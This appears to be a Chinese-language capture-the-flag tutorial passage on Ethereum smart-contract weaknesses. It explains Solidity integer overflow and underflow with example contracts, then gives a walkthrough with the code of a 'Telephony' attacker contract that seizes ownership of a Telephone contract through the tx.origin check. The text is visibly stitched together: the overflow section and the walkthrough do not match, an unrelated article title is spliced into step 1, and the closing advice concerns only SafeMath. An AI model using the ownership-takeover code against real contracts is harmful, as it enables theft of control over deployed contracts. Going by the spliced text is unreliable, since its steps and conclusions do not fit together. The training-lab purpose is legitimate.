整數溢位和下溢與C和C ++一樣,Solidity是一種比較低階別的編碼語言,沒有處理儲存限制的功能。這可能與Ruby和Python開發人員習慣的非常不同。以太坊的智慧合約儲存分別為256位或32位元組。 Solidity支援有符號整數和無符號整數uint,最高可達256位。這意味著當您的數字超過在分配的儲存位之下或之上時,您的算術運算容易出現下溢和溢位錯誤。注意:最大可能的uint256等於115792089237316195423570985008687907853269984665640564039457584007913129639935contract Unsigned { uint8 public min = 0; uint8 public max = 255; // Underflowing & overflowing doesn't throw an error uint8 public less_than_min = min - 1; // returns 255 uint8 public more_than_max = max + 1; // returns 0}contract Signed { int8 public min = -128; int8 public max = 127; int8 public less_than_min = min - 1; // returns 127 int8 public more_than_max = max +1; // returns -128}以下是上面程式碼段的視覺化:
這會使得處理算術運算子的合約易受攻擊。通常我們從safemath.sol庫繼承數學運算子。
細節演練
1. 注意Telephone.sol的changeOwner函式檢查是否(tx.origin!= msg.sender)。似乎我們可以透過方案3成功觸發此功能:區塊鏈研究實驗室| 如何防止濫用智慧合約中的偽隨機性
2. 建立一個電話合約,Telephony構成合同A.在Telephony中例項化合約B,您的Telephone.sol:
contract Telephony {
Telephone public phone = Telephone(YOUR_INSTANCE_ADDR_HERE);
//TODO...
}
3、在Telephony中建立一個changeOwner函式,該函式呼叫Telephone中的changeOwner函式,即玩電話遊戲。
function changeOwner(address _owner) public {
phone.changeOwner(_owner);
}
4、注意await contract.owner()在控制檯中現在指示您的使用者錢包是所有者!
注意要點
· 使用SafeMath.sol處理簡單的數學運算